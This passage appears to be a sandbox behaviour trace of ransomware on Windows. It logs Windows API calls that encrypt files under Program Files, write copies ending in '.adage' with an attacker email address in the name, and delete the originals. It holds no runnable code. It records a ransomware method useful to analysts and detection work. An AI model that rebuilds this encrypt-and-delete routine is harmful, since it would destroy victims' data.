pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0061.082] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\lib\\images\\cursors\\win32_LinkDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_171\\lib\\images\\cursors\\win32_linkdrop32x32.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0061.180] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=168) returned 1 [0061.180] CloseHandle (hObject=0x1b0) returned 1 [0061.180] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\lib\\images\\cursors\\win32_LinkDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_171\\lib\\images\\cursors\\win32_linkdrop32x32.gif")) returned 0x20 [0061.180] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\lib\\images\\cursors\\win32_LinkDrop32x32.gif.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\java\\jre1.8.0_171\\lib\\images\\cursors\\win32_linkdrop32x32.gif.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0061.180] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\lib\\images\\cursors\\win32_LinkDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_171\\lib\\images\\cursors\\win32_linkdrop32x32.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0061.180] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x344f978 | out: lpNewFilePointer=0x0) returned 1 [0061.181] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x344f978 | out: lpNewFilePointer=0x0) returned 1 [0061.181] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\lib\\images\\cursors\\win32_LinkDrop32x32.gif.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\java\\jre1.8.0_171\\lib\\images\\cursors\\win32_linkdrop32x32.gif.id[8443a5af-2250].[wewillhelpyou@qq.com].adage"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0061.181] CryptImportKey (in: hProv=0x4c5018, pbData=0x344f930*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x344f98c | out: phKey=0x344f98c*=0x4d8860) returned 1 [0061.181] CryptSetKeyParam (hKey=0x4d8860, dwParam=0x1, pbData=0x344fa40, dwFlags=0x0) returned 1 [0061.181] ReadFile (in: hFile=0x1b0, lpBuffer=0x3690020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x344f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3690020*, lpNumberOfBytesRead=0x344f9b4*=0xa8, lpOverlapped=0x0) returned 1 [0061.246] CryptEncrypt (in: hKey=0x4d8860, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3690020*, pdwDataLen=0x344f950*=0xb0, dwBufLen=0xb0 | out: pbData=0x3690020*, pdwDataLen=0x344f950*=0xb0) returned 1 [0061.246] WriteFile (in: hFile=0x1a4, lpBuffer=0x3690020*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x344f998, lpOverlapped=0x0 | out: lpBuffer=0x3690020*, lpNumberOfBytesWritten=0x344f998*=0xb0, lpOverlapped=0x0) returned 1 [0061.247] CryptImportKey (in: hProv=0x4c5018, pbData=0x344f924*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x344f990 | out: phKey=0x344f990*=0x4d86a0) returned 1 [0061.247] CryptSetKeyParam (hKey=0x4d86a0, dwParam=0x1, pbData=0x344fa40, dwFlags=0x0) returned 1 [0061.247] CryptEncrypt (in: hKey=0x4d86a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3690020*, pdwDataLen=0x344f950*=0x50, dwBufLen=0x50 | out: pbData=0x3690020*, pdwDataLen=0x344f950*=0x50) returned 1 [0061.247] CryptDestroyKey (hKey=0x4d86a0) returned 1 [0061.247] WriteFile (in: hFile=0x1a4, lpBuffer=0x3690020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x344f998, lpOverlapped=0x0 | out: lpBuffer=0x3690020*, lpNumberOfBytesWritten=0x344f998*=0x102, lpOverlapped=0x0) returned 1 [0061.247] CryptDestroyKey (hKey=0x4d8860) returned 1 [0061.247] CloseHandle (hObject=0x1b0) returned 1 [0061.247] CloseHandle (hObject=0x1a4) returned 1 [0061.248] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\lib\\images\\cursors\\win32_LinkDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_171\\lib\\images\\cursors\\win32_linkdrop32x32.gif")) returned 1 [0061.249] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0061.249] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\README.txt" (normalized: "c:\\program files\\java\\jre1.8.0_171\\readme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0061.258] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=46) returned 1 [0061.258] CloseHandle (hObject=0x184) returned 1 [0061.258] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\README.txt" (normalized: "c:\\program files\\java\\jre1.8.0_171\\readme.txt")) returned 0x20 [0061.258] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\README.txt.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\java\\jre1.8.0_171\\readme.txt.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0061.258] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\README.txt" (normalized: "c:\\program files\\java\\jre1.8.0_171\\readme.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0061.258] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x344f978 | out: lpNewFilePointer=0x0) returned 1 [0061.258] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x344f978 | out: lpNewFilePointer=0x0) returned 1 [0061.258] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\README.txt.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\java\\jre1.8.0_171\\readme.txt.id[8443a5af-2250].[wewillhelpyou@qq.com].adage"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0061.259] CryptImportKey (in: hProv=0x4c5018, pbData=0x344f930*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x344f98c | out: phKey=0x344f98c*=0x4d8820) returned 1 [0061.259] CryptSetKeyParam (hKey=0x4d8820, dwParam=0x1, pbData=0x344fa40, dwFlags=0x0) returned 1 [0061.259] ReadFile (in: hFile=0x184, lpBuffer=0x3690020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x344f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3690020*, lpNumberOfBytesRead=0x344f9b4*=0x2e, lpOverlapped=0x0) returned 1 [0061.260] CryptEncrypt (in: hKey=0x4d8820, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3690020*, pdwDataLen=0x344f950*=0x30, dwBufLen=0x30 | out: pbData=0x3690020*, pdwDataLen=0x344f950*=0x30) returned 1 [0061.260] WriteFile (in: hFile=0x180, lpBuffer=0x3690020*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x344f998, lpOverlapped=0x0 | out: lpBuffer=0x3690020*, lpNumberOfBytesWritten=0x344f998*=0x30, lpOverlapped=0x0) returned 1 [0061.261] CryptImportKey (in: hProv=0x4c5018, pbData=0x344f924*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x344f990 | out: phKey=0x344f990*=0x4d86a0) returned 1 [0061.261] CryptSetKeyParam (hKey=0x4d86a0, dwParam=0x1, pbData=0x344fa40, dwFlags=0x0) returned 1 [0061.261] CryptEncrypt (in: hKey=0x4d86a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3690020*, pdwDataLen=0x344f950*=0x40, dwBufLen=0x40 | out: pbData=0x3690020*, pdwDataLen=0x344f950*=0x40) returned 1 [0061.261] CryptDestroyKey (hKey=0x4d86a0) returned 1 [0061.261] WriteFile (in: hFile=0x180, lpBuffer=0x3690020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x344f998, lpOverlapped=0x0 | out: lpBuffer=0x3690020*, lpNumberOfBytesWritten=0x344f998*=0xf2, lpOverlapped=0x0) returned 1 [0061.261] CryptDestroyKey (hKey=0x4d8820) returned 1 [0061.261] CloseHandle (hObject=0x184) returned 1 [0061.261] CloseHandle (hObject=0x180) returned 1 [0061.262] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\README.txt" (normalized: "c:\\program files\\java\\jre1.8.0_171\\readme.txt")) returned 1 [0061.263] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0061.263] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\THIRDPARTYLICENSEREADME-JAVAFX.txt" (normalized: "c:\\program files\\java\\jre1.8.0_171\\thirdpartylicensereadme-javafx.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0061.278] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=106782) returned 1 [0061.278] CloseHandle (hObject=0x1a4) returned 1 [0061.278] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\THIRDPARTYLICENSEREADME-JAVAFX.txt" (normalized: "c:\\program files\\java\\jre1.8.0_171\\thirdpartylicensereadme-javafx.txt")) returned 0x20 [0061.278] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\THIRDPARTYLICENSEREADME-JAVAFX.txt.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\java\\jre1.8.0_171\\thirdpartylicensereadme-javafx.txt.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0061.278] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\THIRDPARTYLICENSEREADME-JAVAFX.txt" (normalized: "c:\\program files\\java\\jre1.8.0_171\\thirdpartylicensereadme-javafx.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0061.278] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x344f978 | out: lpNewFilePointer=0x0) returned 1 [0061.278] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x344f978 | out: lpNewFilePointer=0x0) returned 1 [0061.278] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\THIRDPARTYLICENSEREADME-JAVAFX.txt.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\java\\jre1.8.0_171\\thirdpartylicensereadme-javafx.txt.id[8443a5af-2250].[wewillhelpyou@qq.com].adage"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0061.278] CryptImportKey (in: hProv=0x4c5018, pbData=0x344f930*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x344f98c | out: phKey=0x344f98c*=0x4d8820) returned 1 [0061.279] CryptSetKeyParam (hKey=0x4d8820, dwParam=0x1, pbData=0x344fa40, dwFlags=0x0) returned 1 [0061.279] ReadFile (in: hFile=0x1a4, lpBuffer=0x3690020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x344f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3690020*, lpNumberOfBytesRead=0x344f9b4*=0x1a11e, lpOverlapped=0x0) returned 1 [0061.282] CryptEncrypt (in: hKey=0x4d8820, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3690020*, pdwDataLen=0x344f950*=0x1a120, dwBufLen=0x1a120 | out: pbData=0x3690020*, pdwDataLen=0x344f950*=0x1a120) returned 1 [0061.283] WriteFile (in: hFile=0x180, lpBuffer=0x3690020*, nNumberOfBytesToWrite=0x1a120, lpNumberOfBytesWritten=0x344f998, lpOverlapped=0x0 | out: lpBuffer=0x3690020*, lpNumberOfBytesWritten=0x344f998*=0x1a120, lpOverlapped=0x0) returned 1 [0061.286] CryptImportKey (in: hProv=0x4c5018, pbData=0x344f924*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x344f990 | out: phKey=0x344f990*=0x4d86a0) returned 1 [0061.286] CryptSetKeyParam (hKey=0x4d86a0, dwParam=0x1, pbData=0x344fa40, dwFlags=0x0) returned 1 [0061.286] CryptEncrypt (in: hKey=0x4d86a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3690020*, pdwDataLen=0x344f950*=0x70, dwBufLen=0x70 | out: pbData=0x3690020*, pdwDataLen=0x344f950*=0x70) returned 1 [0061.286] CryptDestroyKey (hKey=0x4d86a0) returned 1 [0061.286] WriteFile (in: hFile=0x180, lpBuffer=0x3690020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x344f998, lpOverlapped=0x0 | out: lpBuffer=0x3690020*, lpNumberOfBytesWritten=0x344f998*=0x122, lpOverlapped=0x0) returned 1 [0061.286] CryptDestroyKey (hKey=0x4d8820) returned 1 [0061.286] CloseHandle (hObject=0x1a4) returned 1 [0061.286] CloseHandle (hObject=0x180) returned 1 [0061.288] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\THIRDPARTYLICENSEREADME-JAVAFX.txt" (normalized: "c:\\program files\\java\\jre1.8.0_171\\thirdpartylicensereadme-javafx.txt")) returned 1 [0061.290] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0061.290] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\Welcome.html" (normalized: "c:\\program files\\java\\jre1.8.0_171\\welcome.html"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0061.322] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=955) returned 1 [0061.322] CloseHandle (hObject=0x1a4) returned 1 [0061.322] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\Welcome.html" (normalized: "c:\\program files\\java\\jre1.8.0_171\\welcome.html")) returned 0x20 [0061.323] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\Welcome.html.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\java\\jre1.8.0_171\\welcome.html.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0061.323] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\Welcome.html" (normalized: "c:\\program files\\java\\jre1.8.0_171\\welcome.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0061.323] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x344f978 | out: lpNewFilePointer=0x0) returned 1 [0061.323] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x344f978 | out: lpNewFilePointer=0x0) returned 1 [0061.323] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\Welcome.html.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\java\\jre1.8.0_171\\welcome.html.id[8443a5af-2250].[wewillhelpyou@qq.com].adage"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0061.323] CryptImportKey (in: hProv=0x4c5018, pbData=0x344f930*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x344f98c | out: phKey=0x344f98c*=0x4d8820) returned 1 [0061.323] CryptSetKeyParam (hKey=0x4d8820, dwParam=0x1, pbData=0x344fa40, dwFlags=0x0) returned 1 [0061.323] ReadFile (in: hFile=0x1a4, lpBuffer=0x3690020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x344f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3690020*, lpNumberOfBytesRead=0x344f9b4*=0x3bb, lpOverlapped=0x0) returned 1 [0061.331] CryptEncrypt (in: hKey=0x4d8820, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3690020*, pdwDataLen=0x344f950*=0x3c0, dwBufLen=0x3c0 | out: pbData=0x3690020*, pdwDataLen=0x344f950*=0x3c0) returned 1 [0061.331] WriteFile (in: hFile=0x184, lpBuffer=0x3690020*, nNumberOfBytesToWrite=0x3c0, lpNumberOfBytesWritten=0x344f998, lpOverlapped=0x0 | out: lpBuffer=0x3690020*, lpNumberOfBytesWritten=0x344f998*=0x3c0, lpOverlapped=0x0) returned 1 [0061.332] CryptImportKey (in: hProv=0x4c5018, pbData=0x344f924*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x344f990 | out: phKey=0x344f990*=0x4d86a0) returned 1 [0061.332] CryptSetKeyParam (hKey=0x4d86a0, dwParam=0x1, pbData=0x344fa40, dwFlags=0x0) returned 1 [0061.332] CryptEncrypt (in: hKey=0x4d86a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3690020*, pdwDataLen=0x344f950*=0x40, dwBufLen=0x40 | out: pbData=0x3690020*, pdwDataLen=0x344f950*=0x40) returned 1 [0061.332] CryptDestroyKey (hKey=0x4d86a0) returned 1 [0061.332] WriteFile (in: hFile=0x184, lpBuffer=0x3690020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x344f998, lpOverlapped=0x0 | out: lpBuffer=0x3690020*, lpNumberOfBytesWritten=0x344f998*=0xf2, lpOverlapped=0x0) returned 1 [0061.332] CryptDestroyKey (hKey=0x4d8820) returned 1 [0061.332] CloseHandle (hObject=0x1a4) returned 1 [0061.332] CloseHandle (hObject=0x184) returned 1 [0061.333] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\Welcome.html" (normalized: "c:\\program files\\java\\jre1.8.0_171\\welcome.html")) returned 1 [0061.334] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0061.334] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office16\\1033\\officeinventoryagentfallback.xml" (normalized: "c:\\program files\\microsoft office\\office16\\1033\\officeinventoryagentfallback.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0061.334] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=3390) returned 1 [0061.334] CloseHandle (hObject=0x184) returned 1 [0061.335] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office16\\1033\\officeinventoryagentfallback.xml" (normalized: "c:\\program files\\microsoft office\\office16\\1033\\officeinventoryagentfallback.xml")) returned 0x20 [0061.335] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office16\\1033\\officeinventoryagentfallback.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\microsoft office\\office16\\1033\\officeinventoryagentfallback.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0061.335] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office16\\1033\\officeinventoryagentfallback.xml" (normalized: "c:\\program files\\microsoft office\\office16\\1033\\officeinventoryagentfallback.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0061.335] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x344f978 | out: lpNewFilePointer=0x0) returned 1 [0061.335] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x344f978 | out: lpNewFilePointer=0x0) returned 1 [0061.335] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office16\\1033\\officeinventoryagentfallback.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\microsoft office\\office16\\1033\\officeinventoryagentfallback.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0061.335] CryptImportKey (in: hProv=0x4c5018, pbData=0x344f930*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x344f98c | out: phKey=0x344f98c*=0x4d8820) returned 1 [0061.335] CryptSetKeyParam (hKey=0x4d8820, dwParam=0x1, pbData=0x344fa40, dwFlags=0x0) returned 1 [0061.335] ReadFile (in: hFile=0x184, lpBuffer=0x3690020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x344f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3690020*, lpNumberOfBytesRead=0x344f9b4*=0xd3e, lpOverlapped=0x0) returned 1 [0061.478] CryptEncrypt (in: hKey=0x4d8820, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3690020*, pdwDataLen=0x344f950*=0xd40, dwBufLen=0xd40 | out: pbData=0x3690020*, pdwDataLen=0x344f950*=0xd40) returned 1 [0061.545] WriteFile (in: hFile=0x1a4, lpBuffer=0x3690020*, nNumberOfBytesToWrite=0xd40, lpNumberOfBytesWritten=0x344f998, lpOverlapped=0x0 | out: lpBuffer=0x3690020*, lpNumberOfBytesWritten=0x344f998*=0xd40, lpOverlapped=0x0) returned 1 [0061.576] CryptImportKey (in: hProv=0x4c5018, pbData=0x344f924*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x344f990 | out: phKey=0x344f990*=0x4d86a0) returned 1 [0061.576] CryptSetKeyParam (hKey=0x4d86a0, dwParam=0x1, pbData=0x344fa40, dwFlags=0x0) returned 1 [0061.576] CryptEncrypt (in: hKey=0x4d86a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3690020*, pdwDataLen=0x344f950*=0x70, dwBufLen=0x70 | out: pbData=0x3690020*, pdwDataLen=0x344f950*=0x70) returned 1 [0061.576] CryptDestroyKey (hKey=0x4d86a0) returned 1 [0061.576] WriteFile (in: hFile=0x1a4, lpBuffer=0x3690020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x344f998, lpOverlapped=0x0 | out: lpBuffer=0x3690020*, lpNumberOfBytesWritten=0x344f998*=0x122, lpOverlapped=0x0) returned 1 [0061.576] CryptDestroyKey (hKey=0x4d8820) returned 1 [0061.576] CloseHandle (hObject=0x184) returned 1 [0061.576] CloseHandle (hObject=0x1a4) returned 1 [0061.578] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office16\\1033\\officeinventoryagentfallback.xml" (normalized: "c:\\program files\\microsoft office\\office16\\1033\\officeinventoryagentfallback.xml")) returned 1 [0061.579] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0061.579] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Media Player\\Media Renderer\\avtransport.xml" (normalized: "c:\\program files\\windows media player\\media renderer\\avtransport.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0061.887] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=19842) returned 1 [0061.887] CloseHandle (hObject=0x198) returned 1 [0061.887] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Media Player\\Media Renderer\\avtransport.xml" (normalized: "c:\\program files\\windows media player\\media renderer\\avtransport.xml")) returned 0x20 [0061.887] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Media Player\\Media Renderer\\avtransport.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows media player\\media renderer\\avtransport.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0061.887] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Media Player\\Media Renderer\\avtransport.xml" (normalized: "c:\\program files\\windows media player\\media renderer\\avtransport.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0061.887] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0061.887] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Media Player\\Media Renderer\\DMR_120.jpg" (normalized: "c:\\program files\\windows media player\\media renderer\\dmr_120.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0061.887] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=2979) returned 1 [0061.888] CloseHandle (hObject=0x198) returned 1 [0061.888] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Media Player\\Media Renderer\\DMR_120.jpg" (normalized: "c:\\program files\\windows media player\\media renderer\\dmr_120.jpg")) returned 0x20 [0061.888] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Media Player\\Media Renderer\\DMR_120.jpg.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows media player\\media renderer\\dmr_120.jpg.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0061.888] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Media Player\\Media Renderer\\DMR_120.jpg" (normalized: "c:\\program files\\windows media player\\media renderer\\dmr_120.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0061.888] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0061.888] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Media Player\\Media Renderer\\DMR_120.png" (normalized: "c:\\program files\\windows media player\\media renderer\\dmr_120.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0062.035] GetFileSizeEx (in: hFile=0x1a4, 